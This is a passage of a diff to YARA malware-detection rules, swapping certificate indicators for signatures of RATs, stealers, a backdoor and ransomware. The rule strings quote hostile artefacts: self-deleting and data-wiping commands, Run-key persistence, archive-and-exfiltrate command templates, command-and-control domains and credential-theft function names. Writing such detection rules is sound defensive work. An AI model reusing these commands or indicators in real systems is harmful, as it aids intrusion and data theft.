+		uint16(0)==0x5a4d and ( all of ($s*) or 5 of ($n*) or (3 of ($s*) and 3 of ($n*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_778906D40695F65Ba518Db760Df44Cd3 : FILE
+rule DITEKSHEN_MALWARE_Win_Gravityrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects GravityRAT"
 		author = "ditekSHen"
-		id = "87f5a591-ed92-5ee8-99f8-04afe302609e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "cb581dd6-15b2-54ae-9f27-30ec21554fb9"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3698-L3709"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6086-L6108"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2687ec82b9c968dca91b8f54c600fae794d01be43a31cce4b0e6ef63672870fd"
+		logic_hash = "a6b049dbf21f22f751c15da98536e9ef2a4ced7755ade0cc9904afddef1d3ae6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1103debcb1e48f7dda9cec4211c0a7a9c1764252"
-		importance = 20
+
+	strings:
+		$s1 = "/GX/GX-Server.php?VALUE=2&Type=" wide
+		$s2 = "&SIGNATUREHASH=" wide
+		$s3 = "Error => CommonFunctionClass => Upload()" wide
+		$s4 = "/GetActiveDomains.php" wide
+		$s5 = "DetectVM" ascii wide
+		$s6 = "/c {0} > {1}" wide
+		$s7 = "DRIVEUPLOADCOMPLETED => TOTALFILES={0}, FILESUPLOADED={1}" wide
+		$s8 = "Program => RunAFile()" wide
+		$s9 = "DoViaCmd" ascii
+		$s10 = ".msoftupdates.com:" wide
+		$f1 = "<RootJob>b__" ascii
+		$f2 = "<GetFiles>b__" ascii
+		$f3 = "<UpdateServer>b__" ascii
+		$f4 = "<EthernetId>b__" ascii
+		$f5 = "<MatchMacAdd>b__" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].serial=="77:89:06:d4:06:95:f6:5b:a5:18:db:76:0d:f4:4c:d3")
+		uint16(0)==0x5a4d and (5 of ($s*) or ( all of ($f*) and 1 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_45Eb9187A2505D8E6C842E6D366Ad0C8 : FILE
+rule DITEKSHEN_MALWARE_Win_Fatalrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects FatalRAT"
 		author = "ditekSHen"
-		id = "75494bb2-fa70-5983-a75c-067b06c597e5"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f9d0c5dd-ae69-512d-a260-01b9765e10eb"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3711-L3722"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6110-L6128"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a900017eb33db455b94e3474ce3a2f1ebf6416ff21477a464aba68d32fd7c938"
+		logic_hash = "fb7f6822aa4ef98e77670d276d06c9a37718bce38d32ce5b53fe67513b107fbe"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "63938d34572837514929fa7ae3cfebedf6d2cb65"
-		importance = 20
+
+	strings:
+		$x1 = "XXAcQbcXXfRSScR" fullword ascii
+		$s1 = "CHROME_NO_DATA" fullword ascii
+		$s2 = "CHROME_UNKNOW" fullword ascii
+		$s3 = "-Thread running..." ascii
+		$s4 = "InetCpl.cpl,ClearMyTracksByProcess" ascii nocase
+		$s5 = "MSAcpi_ThermalZoneTemperature" ascii nocase
+		$s6 = "taskkill /f /im rundll32.exe" fullword ascii nocase
+		$s7 = "del /s /f %appdata%\\Mozilla\\Firefox" ascii nocase
+		$s8 = "\\\\%s\\C$\\" ascii
+		$s9 = "fnGetChromeUserInfo" fullword ascii
+		$s10 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BAKERA s.r.o." and pe.signatures[i].serial=="45:eb:91:87:a2:50:5d:8e:6c:84:2e:6d:36:6a:d0:c8")
+		uint16(0)==0x5a4d and ((1 of ($x*) and 3 of ($s*)) or 5 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Cbc2Af7D82295A8535F3B26B47522640 : FILE
+rule DITEKSHEN_MALWARE_Win_Wingo : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects malicious Golang executables"
 		author = "ditekSHen"
-		id = "d4f422a7-2b1c-5db0-ad9b-1eb8b3a75e3c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "bc0c84d6-7ea1-5234-89f6-98337900e044"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3724-L3735"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6130-L6141"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6d9fb9b36bc4370851fd0f54bb9fb05e02fc7a6288355b57073c31b1feade41e"
+		logic_hash = "423b1631ad625fd46a9d10f0ecdf24931cf62a2c1694da3ebdd38daad0a4f724"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "08d2c03d0959905b4b04caee1202b8ed748a8bd0"
-		importance = 20
+
+	strings:
+		$s1 = "Go build ID:" ascii
+		$s2 = /main\.[a-z]{9}Delete/ fullword ascii
+		$s3 = /main\.[a-z]{9}Update/ fullword ascii
+		$s4 = /main\.[a-z]{9}rundll/ fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Eabfdafffefaccaedaec" and pe.signatures[i].serial=="cb:c2:af:7d:82:29:5a:85:35:f3:b2:6b:47:52:26:40")
+		uint16(0)==0x5a4d and ( all of them and #s2>2 and #s3>2 and #s4>2)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Ca1D9391Cf5Fe3E696831D98D6C35A6 : FILE
+rule DITEKSHEN_MALWARE_Win_GENERIC03 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects unknown malicious executables"
 		author = "ditekSHen"
-		id = "e2f026d6-031d-5058-a7f1-fc492ea47908"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "aa0a720d-8215-58d8-b3ce-98d50318cbf9"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3737-L3748"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6143-L6154"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4c60dea4fe28c2799dc88712275e62a795c848120c4b463109942b8d9bc29a81"
+		logic_hash = "9166808a3dab80d9d85b3b976ae658160c8389c7d0e05a46d553b5bb9d41a1cb"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "0689776ca5ca0ca9641329dc29efdb61302d7378"
-		importance = 20
+
+	strings:
+		$s1 = "lbroscfg.dll" wide
+		$s2 = "cmd /c ping 127.0.0.1 & del /f /q \"" fullword wide
+		$s3 = "E:\\Data\\Sysceo\\AD\\" fullword ascii
+		$s4 = "C++\\Browser_noime\\" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "www.norton.com" and pe.signatures[i].serial=="0c:a1:d9:39:1c:f5:fe:3e:69:68:31:d9:8d:6c:35:a6")
+		uint16(0)==0x5a4d and 3 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_43A36A26Ebc78E111A874D8211A95E3F : FILE
+rule DITEKSHEN_MALWARE_Win_Pandastealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Panda Stealer"
 		author = "ditekSHen"
-		id = "651ca649-c707-59d2-b482-5ca6d1e569b0"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "099f0a03-6dfd-5ae5-baaf-fe2b66de759d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3750-L3761"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6156-L6172"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2588c91e1cce7e595e4237843b03f3e65427b4c3ea634e9a4f8249e9c9f49dbe"
+		logic_hash = "23a911bfe14defe8f961068d43bb349b66ee73f8b2f281f2bec1c0ecb8f37b25"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "a346bda33b5b3bea04b299fe87c165c4f221645a"
-		importance = 20
+
+	strings:
+		$s1 = "\\tokens.txt" fullword ascii
+		$s2 = "user.config" fullword ascii
+		$s3 = "Discord\\" ascii
+		$s4 = "%s\\etilqs_" fullword ascii
+		$s5 = "buildSettingGrabber" ascii
+		$s6 = "buildSettingSteam" ascii
+		$s7 = ".?AV?$_Ref_count_obj2@U_Recursive_dir_enum_impl@filesystem@std@@@" ascii
+		$s8 = "UPDATE %Q.%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr" ascii
+		$s9 = "|| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Efacefcafeabbdcbcea" and pe.signatures[i].serial=="43:a3:6a:26:eb:c7:8e:11:1a:87:4d:82:11:a9:5e:3f")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5172Caa2119185382343Fcbe09C43Bee : FILE
+rule DITEKSHEN_MALWARE_Win_Gelsemine : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Gelsemine"
 		author = "ditekSHen"
-		id = "54f38317-2d36-54ec-a3fc-04f8b0fc5529"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f7e9ca53-fc52-5da0-a760-cb09c2544f4f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3763-L3774"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6174-L6194"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7aa1447bd0ac43ac29ed69bd6618c3695bfb50517a7ffce7d4e793ae0c5e0fa6"
+		logic_hash = "8c20efa6f34ee9165fac9f1f2e5eb20830a02016309dfaa5681977e1a8ac6068"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "fd9b3f6b0eb9bd9baf7cbdc79ae7979b7ddad770"
-		importance = 20
+
+	strings:
+		$s1 = "If any of these steps fails.only pick one of the targets for configuration\"If you want to just get on with it*which also use [ " wide
+		$s2 = "A make implementation+with core modules (please read NOTES.PER_L)2The per_l Text::Template (please read NOTES.PER_L)" wide
+		$s3 = "NOTES.VMS (OpenVMS)!NOTES.WIN (any supported Windows)%NOTES.DJGPP (DOS platform with DJGPP)'NOTES.ANDROID (obviously Android [ND" wide
+		$s4 = "A simple example would be this)which is to be understood as one of these" fullword wide
+		$s5 = "bala bala bala" fullword wide
+		$s6 = "echo FOO" fullword wide
+		$s7 = "?_Tidy@?$basic_string@DU?$char_traits@D@std@@V" ascii
+		$o1 = { eb 08 c7 44 24 34 fd ff ff ff 8b 44 24 54 8b 4c }
+		$o2 = { eb 08 c7 44 24 34 fd ff ff ff 8b 44 24 54 8b 4c }
+		$o3 = { 8b 76 08 2b f0 a1 34 ff 40 00 03 f0 89 35 38 ff }
+		$o4 = { 83 c4 34 c3 8b 4e 20 6a 05 e8 73 10 00 00 8b 76 }
+		$o5 = { 8b 44 24 44 2b d1 03 d0 8b f2 e9 14 ff ff ff 8d }
+		$o6 = { 68 00 06 00 00 6a 00 e8 d3 ff ff ff a2 48 00 41 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Aefcdac" and pe.signatures[i].serial=="51:72:ca:a2:11:91:85:38:23:43:fc:be:09:c4:3b:ee")
+		uint16(0)==0x5a4d and (6 of ($s*) or ( all of ($o*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_009245D1511923F541844Faa3C6Bfebcbe : FILE
+rule DITEKSHEN_MALWARE_Win_Gelsevirine : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Gelsevirine"
 		author = "ditekSHen"
-		id = "db876459-a0d2-542f-8f7e-a486ba68aeb4"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "70f0ed08-4e07-5ab3-968e-95059d20a8e9"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3776-L3787"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6224-L6254"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8d2c186b3aaaf353857e67ffd51a785e674335e824be78fc1c2ae1b9a0532eae"
+		logic_hash = "60d41d6d789f1cd2a7040d6535f13c69ea58a489035838f047b886e8f1f37f63"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "509cbd2cd38ae03461745c7d37f6bbe44c6782cf"
-		importance = 20
+
+	strings:
+		$s1 = /64loadpath(xp|sv|7)/ fullword wide
+		$s2 = "{\"Actions\":[]}" fullword wide
+		$s3 = "PlatformsChunk" fullword wide
+		$s4 = "CurrentPluginCategory" fullword wide
+		$s5 = "CurrentOperationPlatform" fullword wide
+		$s6 = "PersistencePlugins" fullword wide
+		$s7 = "memory_library_file" fullword wide
+		$s8 = "LoadPluginBP" fullword ascii
+		$s9 = "GetOperationBasicInformation" fullword ascii
+		$s10 = "commonappdata/Intel/Runtime" wide
+		$s11 = "cfsst x64" fullword wide
+		$s12 = "ForkOperation" fullword ascii
+		$c1 = "domain.dns04.com:8080;domain.dns04.com:443;acro.ns1.name:80;acro.ns1.name:1863;" wide
+		$c2 = "<base64 content=\"" fullword ascii
+		$c3 = "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" fullword ascii
+		$m1 = "6BDA7FEF-232F-4EA6-8FC8-24F58CD7B366" ascii wide
+		$m2 = "46EBBDC3-EEDC-42D4-BA1D-D454DFCE8E42" ascii wide
+		$m3 = "135054C6-8036-42C7-A97C-31F37D7728BD" ascii wide
+		$m4 = "DC7FDDF7-B2F1-4B99-BE6A-AA683FF11CE6" ascii wide
+		$m5 = "131C8113-E083-4C7F-BEAF-82D73B01F2C5" ascii wide
+		$m6 = "4CCF506D-2F61-4C3A-B9C6-9FA47D43A3FC" ascii wide
+		$m7 = "B2DC745A-66AE-4A19-B11C-AD74D46B7EE0" ascii wide
+		$m8 = "6BDA7FEF-232F-4EA6-8FC8-24F58CD7B366" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LEHTEH d.o.o.," and pe.signatures[i].serial=="00:92:45:d1:51:19:23:f5:41:84:4f:aa:3c:6b:fe:bc:be")
+		uint16(0)==0x5a4d and (6 of ($s*) or (2 of ($c*) and 4 of ($s*)) or (5 of ($m*) and (1 of ($c*) or 3 of ($s*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00E161F76Da3B5E4623892C8E6Fda1Ea3D : FILE
+rule DITEKSHEN_MALWARE_Win_Ipsechelper : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects IPsecHelper backdoor"
 		author = "ditekSHen"
-		id = "a010cf24-b29a-5613-8122-92ced507564f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f848ac2a-95ad-596a-b193-5cfb424e33a2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3789-L3800"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6256-L6279"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7aae91e2873633989b3716930354361ee56d7fd7af35e105ae15ed6bf87de67a"
+		logic_hash = "be0ecf8a97d289b15b902420d769925b7b22ab835bd7d10d10b059119f41e540"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "df5fbfbfd47875b580b150603de240ead9c7ad27"
-		importance = 20
+
+	strings:
+		$s1 = "rundll32.exe advapi32.dll,ProcessIdleTasks" wide
+		$s2 = "CommandExecute" fullword ascii
+		$s3 = "DownloadExecuteUrl" fullword ascii
+		$s4 = "DownloadExecuteFile" fullword ascii
+		$s5 = "CmdExecute" fullword ascii
+		$s6 = "ExecuteProcessWithResult" fullword ascii
+		$s7 = "IsFirstInstance ==> checked" fullword wide
+		$s8 = "del \"%PROG%%SERVICENAME%\".*" fullword wide
+		$s9 = ".CreateConfig" wide
+		$s10 = ".SelfDelete" wide
+		$c1 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; EmbeddedWB 14.52 from: http://www.google.com/ EmbeddedWB 14.52;" wide
+		$c2 = "boot.php" wide
+		$c3 = "lastupdate.php" wide
+		$c4 = "main.php" wide
+		$c5 = "InternetNeeded" wide
+		$c6 = "DeviceIdSalt" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TGN Nedelica d.o.o." and pe.signatures[i].serial=="00:e1:61:f7:6d:a3:b5:e4:62:38:92:c8:e6:fd:a1:ea:3d")
+		uint16(0)==0x5a4d and (6 of ($s*) or 4 of ($c*) or 8 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_009Faf8705A3Eaef9340800Cc4Fd38597C : FILE
+rule DITEKSHEN_MALWARE_Win_Apostle : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Apsotle"
 		author = "ditekSHen"
-		id = "5b85e806-6b13-5356-a225-23399b947114"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6e6d2ef0-b709-5915-b644-db86d9d3f26a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3802-L3813"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6281-L6295"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "41c6561ef50950c7a5b4107b788e0469f77b9905b777edb24501649e4c313bd6"
+		logic_hash = "aa5a522383cbb7e2fdb90f4c4395c7f92f546aa1dbda8f44090225861f011630"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "40c572cc19e7ca4c2fb89c96357eff4c7489958e"
-		importance = 20
+
+	strings:
+		$s1 = "bytesToBeEncrypted" fullword ascii
+		$s2 = "SelfDelete" fullword ascii
+		$s3 = "ReadMeFileName" ascii
+		$s4 = "DesktopFileName" ascii
+		$s5 = "SetWallpaper" fullword ascii
+		$s6 = "get_EncryptionKey" fullword ascii
+		$s7 = "disall" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Tekhnokod LLC" and pe.signatures[i].serial=="00:9f:af:87:05:a3:ea:ef:93:40:80:0c:c4:fd:38:59:7c")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2888Cf0F953A4A3640Ee4Cfc6304D9D4 : FILE
+rule DITEKSHEN_MALWARE_Win_DEADWOOD : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects DEADWOOD"
 		author = "ditekSHen"
-		id = "4c3153e4-d3ce-5e87-8e72-969cba972e26"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a75e30d8-75ec-5eaf-94f5-5556a3b947ae"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3815-L3826"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6297-L6313"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5e0d1b74422ae1004b0054c161d1dc949bb368ac17575e33c9b6d550bb136126"
+		logic_hash = "bf53abc801971b294e0a23bb0162ceb7c56a563a16e73c317f6a890ba545b67d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "eb5f5ab7294ba39f2b77085f47382bd7e759ff3a"
-		importance = 20
+
+	strings:
+		$s1 = "Service Start Work !!!!" fullword ascii
+		$s2 = "Error GetTokenInformation : " fullword ascii
+		$s3 = "\\Windows\\System32\\net.exe" fullword wide
+		$s4 = "App Start Work !!!!" fullword ascii
+		$s5 = "vmmouse" fullword wide
+		$s6 = "CDPUserSvc_" wide
+		$s7 = "WpnUserService_" wide
+		$s8 = "User is :" wide
+		$s9 = "\\params" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Lotte Schmidt" and pe.signatures[i].serial=="28:88:cf:0f:95:3a:4a:36:40:ee:4c:fc:63:04:d9:d4")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00C8Edcfe8Be174C2F204D858C5B91Dea5 : FILE
+rule DITEKSHEN_MALWARE_Win_Turian : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Hunt for Turian / Qurian"
 		author = "ditekSHen"
-		id = "196da268-b9a3-562c-ad68-67d17ea94ccf"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "eafa9442-a01b-5044-bc47-634297a3efcc"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3828-L3839"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6315-L6343"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "56801a71547218413ab48381c412a8e1b7fd41a9f7a7c85dc6debdc38a19d6c4"
+		logic_hash = "87f4263381c5e93fcba0873aa3bb9a1db4b21225141cd7f06be30f5777a47806"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7f5f205094940793d1028960e0f0e8b654f9956e"
-		importance = 20
+		hash1 = "d1218ab9d608ee0212e880204e4d7d75f29f03b77248bca7648d111d67405759"
+		cnc_domain = "windowsupdate[.]dyndns[.]info"
+		cnc_ip = "58[.]158[.]177[.]102"
+
+	strings:
+		$s1 = "%s a -m5 -hp1qaz@WSX3edc -r %s %s\\*.*" ascii wide
+		$s2 = "%s a -m5 -hpMyHost-1 -r %s %s\\*.*" ascii wide
+		$s3 = "%s a -m5 -hp1qaz@WSX3edc -ta%04d%02d%02d000000 -r %s c:" ascii wide
+		$s4 = "%s a -m5 -hpMyHost-1 -ta%04d%02d%02d000000 -r %s c:"
+		$s5 = "cmd /c dir /s /O:D %s>>\"%s\"" ascii wide
+		$s6 = "\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v %s /t REG_SZ /d \"%s\" /f" fullword ascii
+		$s7 = "Not Connect!" fullword ascii
+		$p1 = "RECYCLER\\S-1-3-33-854245398-2067806209-0000980848-2003\\" ascii wide
+		$p2 = "%sRECYCLER.{S-1-3-33-854245398-2067806209-0000980848-2003}\\" ascii wide
+		$p3 = "\\RECYCLER.{S-1-3-33-854245398-2067806209-0000980848-2003}\\" ascii wide
+		$p4 = "\\RECYCLER.{645ff040-5081-101b-9f08-00aa002f954e}\\" ascii wide
+		$p5 = "%sRECYCLER.{645ff040-5081-101b-9f08-00aa002f954e}\\" ascii wide
+		$c1 = "CONNECT %s:%u HTTP/1." ascii wide
+		$c2 = "User-Agent: Mozilla/4.0" ascii wide
+		$m1 = "winsupdatetw" fullword ascii wide
+		$m2 = "clientsix" fullword ascii wide
+		$m3 = "updatethres" fullword ascii wide
+		$m4 = "uwatchdaemon" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Paarcopy Oy" and pe.signatures[i].serial=="00:c8:ed:cf:e8:be:17:4c:2f:20:4d:85:8c:5b:91:de:a5")
+		uint16(0)==0x5a4d and (3 of ($s*) or ( all of ($c*) and (2 of ($s*) or 1 of ($m*) or 1 of ($p*))) or (1 of ($m*) and 1 of ($s*) and (1 of ($c*) or 1 of ($p*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1A311630876F694Fe1B75D972A953Bca : FILE
+rule DITEKSHEN_MALWARE_Win_Dlagent14 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects downloader injector"
 		author = "ditekSHen"
-		id = "2a39397f-1585-5f7f-a2a9-aab62d29a2b2"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6f80567e-b89a-557d-a282-b61c0b99625e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3841-L3852"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6365-L6378"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f14532caf49e6f46f75e42e334d3170db0ebebfe75c9f3e057c237691b5d86a2"
+		logic_hash = "2806b553635dbf96e9c00d3554dd5732df64200b3ae2c4845a2675218bd56387"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d473ec0fe212b7847f1a4ee06eff64e2a3b4001e"
-		importance = 20
+
+	strings:
+		$s1 = "%ProgramData%\\AVG" fullword wide
+		$s2 = "%ProgramData%\\AVAST Software" fullword wide
+		$s3 = "%wS\\%wS.vbs" fullword wide
+		$s4 = "%wS\\%wS.exe" fullword wide
+		$s5 = "CL,FR,US,CY,FI,HR,HU,RO,PL,IT,PT,ES,CA,DK,AT,NL,AU,AR,NP,SE,BE,NZ,SK,GR,BG,NO,GE" ascii
+		$s6 = "= CreateObject(\"Microsoft.XMLHTTP\")" ascii
 
 	condition:
